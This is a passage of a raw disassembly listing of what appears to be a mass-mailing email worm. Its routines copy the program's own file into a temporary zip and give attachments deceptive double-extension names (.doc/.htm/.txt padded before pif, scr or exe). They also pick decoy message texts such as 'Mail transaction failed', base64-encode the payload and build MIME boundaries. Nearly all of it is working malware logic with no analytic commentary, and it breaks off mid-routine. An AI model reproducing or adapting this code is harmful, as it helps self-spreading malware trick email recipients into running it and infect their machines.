  8256.         mov    [ebx+esi+184h],    dl
  8257.         inc    esi
  8258.         cmp    esi, edi
  8259.         jl    short loc_4A6DD0
  8260.  
  8261. loc_4A6DED:                ; CODE XREF: sub_4A6D9F+2Fj
  8262.         and    byte ptr [esi+ebx+184h], 0
  8263.         pop    edi
  8264.         jmp    short loc_4A6E58
  8265. ; ───────────────────────────────────────────────────────────────────────────
  8266.  
  8267. loc_4A6DF8:                ; CODE XREF: sub_4A6D9F+15j
  8268.         xor    esi, esi
  8269.         mov    al, 1Eh
  8270.         inc    esi
  8271.         mov    ecx, offset byte_4A32A8
  8272.  
  8273. loc_4A6E02:                ; CODE XREF: sub_4A6D9F+6Fj
  8274.         movsx    eax, al
  8275.         add    ecx, 8
  8276.         add    esi, eax
  8277.         mov    al, [ecx]
  8278.         test    al, al
  8279.         jnz    short loc_4A6E02
  8280.         call    sub_4A4221
  8281.         movzx    eax, ax
  8282.         cdq
  8283.         idiv    esi
  8284.         xor    esi, esi
  8285.         xor    eax, eax
  8286.         inc    esi
  8287.         mov    cl, 1Eh
  8288.  
  8289. loc_4A6E22:                ; CODE XREF: sub_4A6D9F+96j
  8290.         movsx    ecx, cl
  8291.         add    esi, ecx
  8292.         cmp    esi, edx
  8293.         jge    short loc_4A6E37
  8294.         mov    cl, ds:byte_4A32B0[eax*8]
  8295.         inc    eax
  8296.         test    cl, cl
  8297.         jnz    short loc_4A6E22
  8298.  
  8299. loc_4A6E37:                ; CODE XREF: sub_4A6D9F+8Aj
  8300.         cmp    ds:byte_4A32A8[eax*8], 0
  8301.         jnz    short loc_4A6E43
  8302.         xor    eax, eax
  8303.  
  8304. loc_4A6E43:                ; CODE XREF: sub_4A6D9F+A0j
  8305.         push    ds:dword_4A32AC[eax*8]
  8306.         lea    eax, [ebx+184h]
  8307.         push    eax
  8308.         call    sub_4A465E
  8309.         pop    ecx
  8310.         pop    ecx
  8311.  
  8312. loc_4A6E58:                ; CODE XREF: sub_4A6D9F+57j
  8313.         xor    esi, esi
  8314.         mov    al, 32h
  8315.         inc    esi
  8316.         mov    ecx, offset byte_4A32F8
  8317.  
  8318. loc_4A6E62:                ; CODE XREF: sub_4A6D9F+CFj
  8319.         movsx    eax, al
  8320.         add    ecx, 8
  8321.         add    esi, eax
  8322.         mov    al, [ecx]
  8323.         test    al, al
  8324.         jnz    short loc_4A6E62
  8325.         call    sub_4A4221
  8326.         movzx    eax, ax
  8327.         cdq
  8328.         idiv    esi
  8329.         xor    esi, esi
  8330.         xor    eax, eax
  8331.         inc    esi
  8332.         mov    cl, 32h
  8333.  
  8334. loc_4A6E82:                ; CODE XREF: sub_4A6D9F+F6j
  8335.         movsx    ecx, cl
  8336.         add    esi, ecx
  8337.         cmp    esi, edx
  8338.         jge    short loc_4A6E97
  8339.         mov    cl, ds:byte_4A3300[eax*8]
  8340.         inc    eax
  8341.         test    cl, cl
  8342.         jnz    short loc_4A6E82
  8343.  
  8344. loc_4A6E97:                ; CODE XREF: sub_4A6D9F+EAj
  8345.         cmp    ds:byte_4A32F8[eax*8], 0
  8346.         jnz    short loc_4A6EA3
  8347.         xor    eax, eax
  8348.  
  8349. loc_4A6EA3:                ; CODE XREF: sub_4A6D9F+100j
  8350.         push    ds:dword_4A32FC[eax*8]
  8351.         lea    esi, [ebx+1A4h]
  8352.         push    esi
  8353.         call    sub_4A465E
  8354.         lea    eax, [ebx+184h]
  8355.         push    esi
  8356.         push    eax
  8357.         add    ebx, 1B7h
  8358.         push    offset aS_S    ; "%s.%s"
  8359.         push    ebx
  8360.         call    ds:wsprintfA
  8361.         add    esp, 18h
  8362.         pop    esi
  8363.         pop    ebx
  8364.         retn
  8365. sub_4A6D9F    endp
  8366.  
  8367.  
  8368. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8369.  
  8370.  
  8371. sub_4A6ED6    proc near        ; CODE XREF: sub_4A76D2+60p
  8372.         push    ebx
  8373.         push    esi
  8374.         mov    ebx, eax
  8375.         call    sub_4A4221
  8376.         movzx    eax, ax
  8377.         push    64h
  8378.         cdq
  8379.         pop    ecx
  8380.         idiv    ecx
  8381.         cmp    edx, 5
  8382.         jge    short loc_4A6F2F
  8383.         push    edi
  8384.         call    sub_4A4221
  8385.         movzx    eax, ax
  8386.         push    0Fh
  8387.         xor    esi, esi
  8388.         cdq
  8389.         pop    ecx
  8390.         idiv    ecx
  8391.         mov    edi, edx
  8392.         add    edi, 3
  8393.         test    edi, edi
  8394.         jle    short loc_4A6F24
  8395.  
  8396. loc_4A6F07:                ; CODE XREF: sub_4A6ED6+4Cj
  8397.         call    sub_4A4221
  8398.         movzx    eax, ax
  8399.         push    1Ah
  8400.         cdq
  8401.         pop    ecx
  8402.         idiv    ecx
  8403.         add    dl, 61h
  8404.         mov    [ebx+esi+104h],    dl
  8405.         inc    esi
  8406.         cmp    esi, edi
  8407.         jl    short loc_4A6F07
  8408.  
  8409. loc_4A6F24:                ; CODE XREF: sub_4A6ED6+2Fj
  8410.         and    byte ptr [esi+ebx+104h], 0
  8411.         pop    edi
  8412.         jmp    short loc_4A6F8F
  8413. ; ───────────────────────────────────────────────────────────────────────────
  8414.  
  8415. loc_4A6F2F:                ; CODE XREF: sub_4A6ED6+15j
  8416.         xor    esi, esi
  8417.         mov    al, 0Ch
  8418.         inc    esi
  8419.         mov    ecx, offset byte_4A3328
  8420.  
  8421. loc_4A6F39:                ; CODE XREF: sub_4A6ED6+6Fj
  8422.         movsx    eax, al
  8423.         add    ecx, 8
  8424.         add    esi, eax
  8425.         mov    al, [ecx]
  8426.         test    al, al
  8427.         jnz    short loc_4A6F39
  8428.         call    sub_4A4221
  8429.         movzx    eax, ax
  8430.         cdq
  8431.         idiv    esi
  8432.         xor    esi, esi
  8433.         xor    eax, eax
  8434.         inc    esi
  8435.         mov    cl, 0Ch
  8436.  
  8437. loc_4A6F59:                ; CODE XREF: sub_4A6ED6+96j
  8438.         movsx    ecx, cl
  8439.         add    esi, ecx
  8440.         cmp    esi, edx
  8441.         jge    short loc_4A6F6E
  8442.         mov    cl, ds:byte_4A3330[eax*8]
  8443.         inc    eax
  8444.         test    cl, cl
  8445.         jnz    short loc_4A6F59
  8446.  
  8447. loc_4A6F6E:                ; CODE XREF: sub_4A6ED6+8Aj
  8448.         cmp    ds:byte_4A3328[eax*8], 0
  8449.         jnz    short loc_4A6F7A
  8450.         xor    eax, eax
  8451.  
  8452. loc_4A6F7A:                ; CODE XREF: sub_4A6ED6+A0j
  8453.         push    ds:dword_4A332C[eax*8]
  8454.         lea    eax, [ebx+104h]
  8455.         push    eax
  8456.         call    sub_4A465E
  8457.         pop    ecx
  8458.         pop    ecx
  8459.  
  8460. loc_4A6F8F:                ; CODE XREF: sub_4A6ED6+57j
  8461.         call    sub_4A4221
  8462.         movzx    eax, ax
  8463.         push    64h
  8464.         cdq
  8465.         pop    ecx
  8466.         idiv    ecx
  8467.         cmp    edx, 32h
  8468.         jl    short loc_4A6FB8
  8469.         cmp    edx, 55h
  8470.         jge    short loc_4A6FBD
  8471.         add    ebx, 104h
  8472.         push    1        ; cchLength
  8473.         push    ebx        ; lpsz
  8474.         call    ds:CharUpperBuffA
  8475.         jmp    short loc_4A6FCA
  8476. ; ───────────────────────────────────────────────────────────────────────────
  8477.  
  8478. loc_4A6FB8:                ; CODE XREF: sub_4A6ED6+CAj
  8479.         cmp    edx, 55h
  8480.         jl    short loc_4A6FCA
  8481.  
  8482. loc_4A6FBD:                ; CODE XREF: sub_4A6ED6+CFj
  8483.         add    ebx, 104h
  8484.         push    ebx        ; lpsz
  8485.         call    ds:CharUpperA
  8486.  
  8487. loc_4A6FCA:                ; CODE XREF: sub_4A6ED6+E0j
  8488.                     ; sub_4A6ED6+E5j
  8489.         pop    esi
  8490.         pop    ebx
  8491.         retn
  8492. sub_4A6ED6    endp
  8493.  
  8494.  
  8495. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8496.  
  8497. ; Attributes: bp-based frame
  8498.  
  8499. sub_4A6FCD    proc near        ; CODE XREF: sub_4A76D2+6Bp
  8500.  
  8501. Filename    = byte ptr -30Ch
  8502. String1        = byte ptr -208h
  8503. hObject        = dword    ptr -8
  8504. lpFileName    = dword    ptr -4
  8505.  
  8506.         push    ebp
  8507.         mov    ebp, esp
  8508.         sub    esp, 30Ch
  8509.         push    ebx
  8510.         xor    ebx, ebx
  8511.         push    edi
  8512.         mov    [esi+1B4h], bl
  8513.         mov    [esi+1B5h], bl
  8514.         call    sub_4A4221
  8515.         movzx    eax, ax
  8516.         push    64h
  8517.         cdq
  8518.         pop    ecx
  8519.         idiv    ecx
  8520.         cmp    edx, 40h
  8521.         jge    short loc_4A7000
  8522.         mov    byte ptr [esi+1B4h], 1
  8523.  
  8524. loc_4A7000:                ; CODE XREF: sub_4A6FCD+2Aj
  8525.         cmp    [esi+1B4h], bl
  8526.         jnz    short loc_4A7029
  8527.         lea    eax, [esi+2B7h]
  8528.         push    104h        ; nSize
  8529.         push    eax        ; lpFilename
  8530.         push    ebx        ; hModule
  8531.         mov    [esi+1B6h], bl
  8532.         mov    [ebp+lpFileName], eax
  8533.         call    ds:GetModuleFileNameA
  8534.         jmp    loc_4A70F7
  8535. ; ───────────────────────────────────────────────────────────────────────────
  8536.  
  8537. loc_4A7029:                ; CODE XREF: sub_4A6FCD+39j
  8538.         lea    eax, [ebp+Filename]
  8539.         mov    edi, 104h
  8540.         push    eax        ; lpBuffer
  8541.         push    edi        ; nBufferLength
  8542.         mov    byte ptr [esi+1B6h], 1
  8543.         mov    [ebp+Filename],    bl
  8544.         call    ds:GetTempPathA
  8545.         cmp    [ebp+Filename],    bl
  8546.         jz    loc_4A724E
  8547.         lea    eax, [esi+2B7h]
  8548.         mov    [ebp+lpFileName], eax
  8549.         push    eax        ; lpTempFileName
  8550.         mov    [eax], bl
  8551.         push    ebx        ; uUnique
  8552.         lea    eax, [ebp+Filename]
  8553.         push    offset PrefixString ; lpPrefixString
  8554.         push    eax        ; lpPathName
  8555.         call    ds:GetTempFileNameA
  8556.         mov    eax, [ebp+lpFileName]
  8557.         cmp    [eax], bl
  8558.         jz    loc_4A724E
  8559.         lea    eax, [ebp+Filename]
  8560.         push    edi        ; nSize
  8561.         push    eax        ; lpFilename
  8562.         push    ebx        ; hModule
  8563.         call    ds:GetModuleFileNameA
  8564.         mov    [esi+1B5h], bl
  8565.         call    sub_4A4221
  8566.         movzx    eax, ax
  8567.         push    64h
  8568.         cdq
  8569.         pop    ecx
  8570.         idiv    ecx
  8571.         cmp    edx, 28h
  8572.         jge    short loc_4A70AE
  8573.         mov    byte ptr [esi+1B5h], 1
  8574.  
  8575. loc_4A70AE:                ; CODE XREF: sub_4A6FCD+D8j
  8576.         cmp    [esi+1B5h], bl
  8577.         jnz    loc_4A715E
  8578.         lea    eax, [esi+1B7h]
  8579.  
  8580. loc_4A70C0:                ; CODE XREF: sub_4A6FCD+26Bj
  8581.         push    eax
  8582.         lea    eax, [ebp+Filename]
  8583.         push    [ebp+lpFileName]
  8584.         push    eax
  8585.         call    sub_4A6864
  8586.         add    esp, 0Ch
  8587.         test    eax, eax
  8588.         jnz    loc_4A724E
  8589.         lea    eax, [esi+184h]
  8590.         push    eax
  8591.         lea    eax, [esi+1B7h]
  8592.         push    offset aS_zip    ; "%s.zip"
  8593.         push    eax
  8594.         call    ds:wsprintfA
  8595.         add    esp, 0Ch
  8596.  
  8597. loc_4A70F7:                ; CODE XREF: sub_4A6FCD+57j
  8598.         push    ebx        ; hTemplateFile
  8599.         push    80h        ; dwFlagsAndAttributes
  8600.         push    3        ; dwCreationDisposition
  8601.         push    ebx        ; lpSecurityAttributes
  8602.         push    3        ; dwShareMode
  8603.         push    80000000h    ; dwDesiredAccess
  8604.         push    [ebp+lpFileName] ; lpFileName
  8605.         call    ds:CreateFileA
  8606.         cmp    eax, ebx
  8607.         mov    [ebp+hObject], eax
  8608.         jz    loc_4A723D
  8609.         cmp    eax, 0FFFFFFFFh
  8610.         jz    loc_4A723D
  8611.         push    ebx        ; lpFileSizeHigh
  8612.         push    eax        ; hFile
  8613.         lea    edi, [esi+3BCh]
  8614.         call    ds:GetFileSize
  8615.         push    [ebp+hObject]    ; hObject
  8616.         mov    [edi], eax
  8617.         call    ds:CloseHandle
  8618.         mov    edi, [edi]
  8619.         cmp    edi, 400h
  8620.         jl    loc_4A723D
  8621.         cmp    edi, 4B000h
  8622.         jg    loc_4A723D
  8623.         xor    eax, eax
  8624.         jmp    loc_4A7251
  8625. ; ───────────────────────────────────────────────────────────────────────────
  8626.  
  8627. loc_4A715E:                ; CODE XREF: sub_4A6FCD+E7j
  8628.         lea    eax, [esi+184h]
  8629.         push    eax        ; lpString2
  8630.         lea    eax, [ebp+String1]
  8631.         push    eax        ; lpString1
  8632.         call    ds:lstrcpyA
  8633.         mov    edi, ds:lstrcatA
  8634.         lea    eax, [ebp+String1]
  8635.         push    offset a__1    ; lpString2
  8636.         push    eax        ; lpString1
  8637.         call    edi ; lstrcatA
  8638.         call    sub_4A4221
  8639.         movzx    eax, ax
  8640.         push    5
  8641.         cdq
  8642.         pop    ecx
  8643.         idiv    ecx
  8644.         cmp    edx, ebx
  8645.         jz    short loc_4A71AD
  8646.         jle    short loc_4A71A6
  8647.         cmp    edx, 2
  8648.         jg    short loc_4A71A6
  8649.         push    offset aHtm    ; "htm"
  8650.         jmp    short loc_4A71B2
  8651. ; ───────────────────────────────────────────────────────────────────────────
  8652.  
  8653. loc_4A71A6:                ; CODE XREF: sub_4A6FCD+1CBj
  8654.                     ; sub_4A6FCD+1D0j
  8655.         push    offset aTxt    ; "txt"
  8656.         jmp    short loc_4A71B2
  8657. ; ───────────────────────────────────────────────────────────────────────────
  8658.  
  8659. loc_4A71AD:                ; CODE XREF: sub_4A6FCD+1C9j
  8660.         push    offset aDoc    ; lpString2
  8661.  
  8662. loc_4A71B2:                ; CODE XREF: sub_4A6FCD+1D7j
  8663.                     ; sub_4A6FCD+1DEj
  8664.         lea    eax, [ebp+String1]
  8665.         push    eax        ; lpString1
  8666.         call    edi ; lstrcatA
  8667.         mov    [ebp+hObject], 46h
  8668.  
  8669. loc_4A71C2:                ; CODE XREF: sub_4A6FCD+206j
  8670.         lea    eax, [ebp+String1]
  8671.         push    offset dword_4A2DB8 ; lpString2
  8672.         push    eax        ; lpString1
  8673.         call    edi ; lstrcatA
  8674.         dec    [ebp+hObject]
  8675.         jnz    short loc_4A71C2
  8676.         lea    eax, [ebp+String1]
  8677.         push    offset a__1    ; lpString2
  8678.         push    eax        ; lpString1
  8679.         call    edi ; lstrcatA
  8680.         call    sub_4A4221
  8681.         movzx    eax, ax
  8682.         push    3
  8683.         cdq
  8684.         pop    ecx
  8685.         idiv    ecx
  8686.         lea    eax, [ebp+String1]
  8687.         sub    edx, ebx
  8688.         jz    short loc_4A721C
  8689.         dec    edx
  8690.         jz    short loc_4A720D
  8691.         push    offset aP    ; lpString2
  8692.         push    eax        ; lpString1
  8693.         call    edi ; lstrcatA
  8694.         push    offset aIf    ; "if"
  8695.         jmp    short loc_4A7229
  8696. ; ───────────────────────────────────────────────────────────────────────────
  8697.  
  8698. loc_4A720D:                ; CODE XREF: sub_4A6FCD+22Fj
  8699.         push    offset aS_0    ; lpString2
  8700.         push    eax        ; lpString1
  8701.         call    edi ; lstrcatA
  8702.         push    offset aCr    ; "cr"
  8703.         jmp    short loc_4A7229
  8704. ; ───────────────────────────────────────────────────────────────────────────
  8705.  
  8706. loc_4A721C:                ; CODE XREF: sub_4A6FCD+22Cj
  8707.         push    offset aE    ; lpString2
  8708.         push    eax        ; lpString1
  8709.         call    edi ; lstrcatA
  8710.         push    offset aXe    ; lpString2
  8711.  
  8712. loc_4A7229:                ; CODE XREF: sub_4A6FCD+23Ej
  8713.                     ; sub_4A6FCD+24Dj
  8714.         lea    eax, [ebp+String1]
  8715.         push    eax        ; lpString1
  8716.         call    edi ; lstrcatA
  8717.         lea    eax, [ebp+String1]
  8718.         jmp    loc_4A70C0
  8719. ; ───────────────────────────────────────────────────────────────────────────
  8720.  
  8721. loc_4A723D:                ; CODE XREF: sub_4A6FCD+148j
  8722.                     ; sub_4A6FCD+151j ...
  8723.         cmp    [esi+1B6h], bl
  8724.         jz    short loc_4A724E
  8725.         push    [ebp+lpFileName] ; lpFileName
  8726.         call    ds:DeleteFileA
  8727.  
  8728. loc_4A724E:                ; CODE XREF: sub_4A6FCD+82j
  8729.                     ; sub_4A6FCD+ACj ...
  8730.         xor    eax, eax
  8731.         inc    eax
  8732.  
  8733. loc_4A7251:                ; CODE XREF: sub_4A6FCD+18Cj
  8734.         pop    edi
  8735.         pop    ebx
  8736.         leave
  8737.         retn
  8738. sub_4A6FCD    endp
  8739.  
  8740.  
  8741. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8742.  
  8743. ; Attributes: bp-based frame
  8744.  
  8745. sub_4A7255    proc near        ; CODE XREF: sub_4A75FD+5Dp
  8746.  
  8747. var_30        = dword    ptr -30h
  8748. lpString2    = dword    ptr -2Ch
  8749. var_28        = dword    ptr -28h
  8750. var_24        = dword    ptr -24h
  8751. var_20        = dword    ptr -20h
  8752. var_1C        = dword    ptr -1Ch
  8753. var_18        = dword    ptr -18h
  8754. var_14        = dword    ptr -14h
  8755. var_10        = dword    ptr -10h
  8756. var_C        = dword    ptr -0Ch
  8757. var_8        = dword    ptr -8
  8758. var_4        = dword    ptr -4
  8759.  
  8760.         push    ebp
  8761.         mov    ebp, esp
  8762.         sub    esp, 30h
  8763.         push    esi
  8764.         push    edi
  8765.         push    14h
  8766.         and    [ebp+var_8], 0
  8767.         pop    esi
  8768.         mov    eax, offset dword_4A33E8
  8769.         push    28h
  8770.         mov    [ebp+var_30], esi
  8771.         pop    ecx
  8772.         mov    [ebp+lpString2], eax
  8773.         mov    [ebp+var_28], 5
  8774.         mov    [ebp+var_24], offset aTest ; "test"
  8775.         mov    [ebp+var_20], ecx
  8776.         mov    [ebp+var_1C], offset aTheMessageCann ; "The message cannot be represented in 7-"...
  8777.         mov    [ebp+var_18], ecx
  8778.         mov    [ebp+var_14], offset aTheMessageCont ; "The message contains Unicode characters"...
  8779.         mov    [ebp+var_10], esi
  8780.         mov    [ebp+var_C], offset aMailTransactio ; "Mail transaction    failed.    Partial    messag"...
  8781.         mov    [ebp+var_4], eax
  8782.         call    sub_4A4221
  8783.         movzx    eax, ax
  8784.         push    64h
  8785.         cdq
  8786.         pop    ecx
  8787.         idiv    ecx
  8788.         cmp    edx, esi
  8789.         jge    short loc_4A731C
  8790.         call    sub_4A4221
  8791.         movzx    eax, ax
  8792.         cdq
  8793.         mov    ecx, 800h
  8794.         xor    esi, esi
  8795.         idiv    ecx
  8796.         mov    edi, edx
  8797.         add    edi, 200h
  8798.         test    edi, edi
  8799.         jle    short loc_4A7316
  8800.  
  8801. loc_4A72D1:                ; CODE XREF: sub_4A7255+BFj
  8802.         call    sub_4A4221
  8803.         cmp    al, 20h
  8804.         jb    short loc_4A7312
  8805.         cmp    al, 3Dh
  8806.         jz    short loc_4A7312
  8807.         cmp    al, 2Bh
  8808.         jz    short loc_4A7312
  8809.         cmp    al, 0FFh
  8810.         jz    short loc_4A7312
  8811.         cmp    al, 7Fh
  8812.         jz    short loc_4A7312
  8813.         cmp    al, 80h
  8814.         jz    short loc_4A7312
  8815.         cmp    al, 40h
  8816.         jz    short loc_4A7312
  8817.         mov    [esi+ebx], al
  8818.         inc    esi
  8819.         call    sub_4A4221
  8820.         movzx    eax, ax
  8821.         push    46h
  8822.         cdq
  8823.         pop    ecx
  8824.         idiv    ecx
  8825.         test    edx, edx
  8826.         jnz    short loc_4A7312
  8827.         mov    byte ptr [esi+ebx], 0Dh
  8828.         inc    esi
  8829.         mov    byte ptr [esi+ebx], 0Ah
  8830.         inc    esi
  8831.  
  8832. loc_4A7312:                ; CODE XREF: sub_4A7255+83j
  8833.                     ; sub_4A7255+87j ...
  8834.         cmp    esi, edi
  8835.         jl    short loc_4A72D1
  8836.  
  8837. loc_4A7316:                ; CODE XREF: sub_4A7255+7Aj
  8838.         and    byte ptr [esi+ebx], 0
  8839.         jmp    short loc_4A7362
  8840. ; ───────────────────────────────────────────────────────────────────────────
  8841.  
  8842. loc_4A731C:                ; CODE XREF: sub_4A7255+5Cj
  8843.         xor    edi, edi
  8844.         mov    ecx, esi
  8845.         inc    edi
  8846.         lea    eax, [ebp+var_30]
  8847.  
  8848. loc_4A7324:                ; CODE XREF: sub_4A7255+D8j
  8849.         add    eax, 8
  8850.         add    edi, ecx
  8851.         mov    ecx, [eax]
  8852.         test    ecx, ecx
  8853.         jnz    short loc_4A7324
  8854.         call    sub_4A4221
  8855.         movzx    eax, ax
  8856.         cdq
  8857.         idiv    edi
  8858.         xor    ecx, ecx
  8859.         xor    eax, eax
  8860.         inc    ecx
  8861.  
  8862. loc_4A733F:                ; CODE XREF: sub_4A7255+F7j
  8863.         add    ecx, esi
  8864.         cmp    ecx, edx
  8865.         jge    short loc_4A734E
  8866.         mov    esi, [ebp+eax*8+var_28]
  8867.         inc    eax
  8868.         test    esi, esi
  8869.         jnz    short loc_4A733F
  8870.  
  8871. loc_4A734E:                ; CODE XREF: sub_4A7255+EEj
  8872.         cmp    [ebp+eax*8+var_30], 0
  8873.         jnz    short loc_4A7357
  8874.         xor    eax, eax
  8875.  
  8876. loc_4A7357:                ; CODE XREF: sub_4A7255+FEj
  8877.         push    [ebp+eax*8+lpString2] ;    lpString2
  8878.         push    ebx        ; lpString1
  8879.         call    ds:lstrcpyA
  8880.  
  8881. loc_4A7362:                ; CODE XREF: sub_4A7255+C5j
  8882.         pop    edi
  8883.         pop    esi
  8884.         leave
  8885.         retn
  8886. sub_4A7255    endp
  8887.  
  8888.  
  8889. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8890.  
  8891. ; Attributes: bp-based frame
  8892.  
  8893. sub_4A7366    proc near        ; CODE XREF: sub_4A73CA+8Ap
  8894.                     ; sub_4A73CA+D8p
  8895.  
  8896. var_44        = byte ptr -44h
  8897.  
  8898.         push    ebp
  8899.         mov    ebp, esp
  8900.         sub    esp, 44h
  8901.         push    esi
  8902.         push    edi
  8903.         push    10h
  8904.         mov    esi, offset aAbcdefghijkl_1 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
  8905.         pop    ecx
  8906.         lea    edi, [ebp+var_44]
  8907.         repe movsd
  8908.         movzx    ecx, byte ptr [eax]
  8909.         shr    ecx, 2
  8910.         movsb
  8911.         mov    cl, [ebp+ecx+var_44]
  8912.         pop    edi
  8913.         mov    [edx], cl
  8914.         mov    cl, [eax]
  8915.         movzx    esi, byte ptr [eax+1]
  8916.         and    ecx, 3
  8917.         shl    ecx, 4
  8918.         shr    esi, 4
  8919.         or    ecx, esi
  8920.         mov    cl, [ebp+ecx+var_44]
  8921.         mov    [edx+1], cl
  8922.         mov    cl, [eax+1]
  8923.         movzx    esi, byte ptr [eax+2]
  8924.         and    ecx, 0Fh
  8925.         shl    ecx, 2
  8926.         shr    esi, 6
  8927.         or    ecx, esi
  8928.         pop    esi
  8929.         mov    cl, [ebp+ecx+var_44]
  8930.         mov    [edx+2], cl
  8931.         mov    al, [eax+2]
  8932.         and    eax, 3Fh
  8933.         mov    al, [ebp+eax+var_44]
  8934.         mov    [edx+3], al
  8935.         leave
  8936.         retn
  8937. sub_4A7366    endp
  8938.  
  8939.  
  8940. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8941.  
  8942. ; Attributes: bp-based frame
  8943.  
  8944. sub_4A73CA    proc near        ; CODE XREF: sub_4A75FD+AEp
  8945.  
  8946. Buffer        = byte ptr -418h
  8947. hObject        = dword    ptr -18h
  8948. NumberOfBytesRead= dword ptr -14h
  8949. var_10        = dword    ptr -10h
  8950. var_C        = byte ptr -0Ch
  8951. var_8        = byte ptr -8
  8952. var_6        = byte ptr -6
  8953. var_5        = byte ptr -5
  8954. var_4        = dword    ptr -4
  8955. arg_0        = dword    ptr  8
  8956.  
  8957.         push    ebp
  8958.         mov    ebp, esp
  8959.         sub    esp, 418h
  8960.         push    edi
  8961.         xor    edi, edi
  8962.         push    edi        ; hTemplateFile
  8963.         push    edi        ; dwFlagsAndAttributes
  8964.         push    3        ; dwCreationDisposition
  8965.         push    edi        ; lpSecurityAttributes
  8966.         push    3        ; dwShareMode
  8967.         add    eax, 2B7h
  8968.         push    80000000h    ; dwDesiredAccess
  8969.         push    eax        ; lpFileName
  8970.         call    ds:CreateFileA
  8971.         cmp    eax, 0FFFFFFFFh
  8972.         mov    [ebp+hObject], eax
  8973.         jnz    short loc_4A73FE
  8974.         xor    eax, eax
  8975.         inc    eax
  8976.         jmp    loc_4A74DA
  8977. ; ───────────────────────────────────────────────────────────────────────────
  8978.  
  8979. loc_4A73FE:                ; CODE XREF: sub_4A73CA+2Aj
  8980.         push    ebx
  8981.         push    esi
  8982.         xor    esi, esi
  8983.         mov    [ebp+var_4], edi
  8984.         mov    [ebp+NumberOfBytesRead], edi
  8985.         xor    ebx, ebx
  8986.         mov    [ebp+var_10], edi
  8987.  
  8988. loc_4A740D:                ; CODE XREF: sub_4A73CA+82j
  8989.                     ; sub_4A73CA+C9j
  8990.         mov    eax, [ebp+NumberOfBytesRead]
  8991.         cmp    [ebp+var_4], eax
  8992.         jb    short loc_4A7437
  8993.         lea    eax, [ebp+NumberOfBytesRead]
  8994.         push    edi        ; lpOverlapped
  8995.         push    eax        ; lpNumberOfBytesRead
  8996.         lea    eax, [ebp+Buffer]
  8997.         push    400h        ; nNumberOfBytesToRead
  8998.         push    eax        ; lpBuffer
  8999.         push    [ebp+hObject]    ; hFile
  9000.         call    ds:ReadFile
  9001.         cmp    [ebp+NumberOfBytesRead], edi
  9002.         jz    short loc_4A7498
  9003.         mov    [ebp+var_4], edi
  9004.  
  9005. loc_4A7437:                ; CODE XREF: sub_4A73CA+49j
  9006.         mov    eax, [ebp+var_4]
  9007.         inc    esi
  9008.         inc    [ebp+var_4]
  9009.         cmp    esi, 3
  9010.         mov    al, [ebp+eax+Buffer]
  9011.         mov    byte ptr [ebp+esi+var_10+3], al
  9012.         jnz    short loc_4A740D
  9013.         lea    edx, [ebp+var_8]
  9014.         lea    eax, [ebp+var_C]
  9015.         call    sub_4A7366
  9016.         xor    esi, esi
  9017.  
  9018. loc_4A745B:                ; CODE XREF: sub_4A73CA+B6j
  9019.         mov    eax, [ebp+arg_0]
  9020.         mov    cl, [ebp+esi+var_8]
  9021.         mov    [ebx+eax], cl
  9022.         inc    ebx
  9023.         inc    [ebp+var_10]
  9024.         cmp    [ebp+var_10], 4Ch
  9025.         jb    short loc_4A747C
  9026.         mov    byte ptr [ebx+eax], 0Dh
  9027.         inc    ebx
  9028.         mov    [ebp+var_10], edi
  9029.         mov    byte ptr [ebx+eax], 0Ah
  9030.         inc    ebx
  9031.  
  9032. loc_4A747C:                ; CODE XREF: sub_4A73CA+A3j
  9033.         inc    esi
  9034.         cmp    esi, 4
  9035.         jb    short loc_4A745B
  9036.         push    3
  9037.         lea    eax, [ebp+var_C]
  9038.         push    edi
  9039.         push    eax
  9040.         call    memset
  9041.         add    esp, 0Ch
  9042.         xor    esi, esi
  9043.         jmp    loc_4A740D
  9044. ; ───────────────────────────────────────────────────────────────────────────
  9045.  
  9046. loc_4A7498:                ; CODE XREF: sub_4A73CA+68j
  9047.         cmp    esi, edi
  9048.         jz    short loc_4A74C6
  9049.         lea    edx, [ebp+var_8]
  9050.         lea    eax, [ebp+var_C]
  9051.         call    sub_4A7366
  9052.         cmp    esi, 3
  9053.         jnb    short loc_4A74B0
  9054.         mov    [ebp+var_5], 3Dh
  9055.  
  9056. loc_4A74B0:                ; CODE XREF: sub_4A73CA+E0j
  9057.         cmp    esi, 2
  9058.         jnb    short loc_4A74B9
  9059.         mov    [ebp+var_6], 3Dh
  9060.  
  9061. loc_4A74B9:                ; CODE XREF: sub_4A73CA+E9j
  9062.         mov    eax, [ebp+arg_0]
  9063.         lea    esi, [ebp+var_8]
  9064.         lea    edi, [ebx+eax]
  9065.         add    ebx, 4
  9066.         movsd
  9067.  
  9068. loc_4A74C6:                ; CODE XREF: sub_4A73CA+D0j
  9069.         mov    eax, [ebp+arg_0]
  9070.         push    [ebp+hObject]    ; hObject
  9071.         and    byte ptr [ebx+eax], 0
  9072.         call    ds:CloseHandle
  9073.         pop    esi
  9074.         xor    eax, eax
  9075.         pop    ebx
  9076.  
  9077. loc_4A74DA:                ; CODE XREF: sub_4A73CA+2Fj
  9078.         pop    edi
  9079.         leave
  9080.         retn
  9081. sub_4A73CA    endp
  9082.  
  9083.  
  9084. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9085.  
  9086.  
  9087. sub_4A74DD    proc near        ; CODE XREF: sub_4A76D2+AEp
  9088.  
  9089. arglist        = byte ptr -4
  9090.  
  9091.         push    ecx
  9092.         push    ebx
  9093.         push    ebp
  9094.         mov    ebx, eax
  9095.         push    esi
  9096.         push    edi
  9097.         mov    esi, [ebx+440h]
  9098.         lea    edi, [ebx+3C0h]
  9099.         mov    dword ptr [esp+14h+arglist], edi
  9100.         call    sub_4A4239
  9101.         push    eax
  9102.         call    sub_4A4239
  9103.         push    eax
  9104.         call    sub_4A4221
  9105.         movzx    eax, ax
  9106.         push    0Fh
  9107.         cdq
  9108.         pop    ecx
  9109.         idiv    ecx
  9110.         push    edx
  9111.         push    0
  9112.         push    offset aNextpart ; "NextPart"
  9113.         push    offset a_S__3u__4u__8x ; "----=_%s_%.3u_%.4u_%.8X.%.8X"
  9114.         push    edi
  9115.         call    ds:wsprintfA
  9116.         push    offset aSebz    ; "Sebz: "
  9117.         push    esi
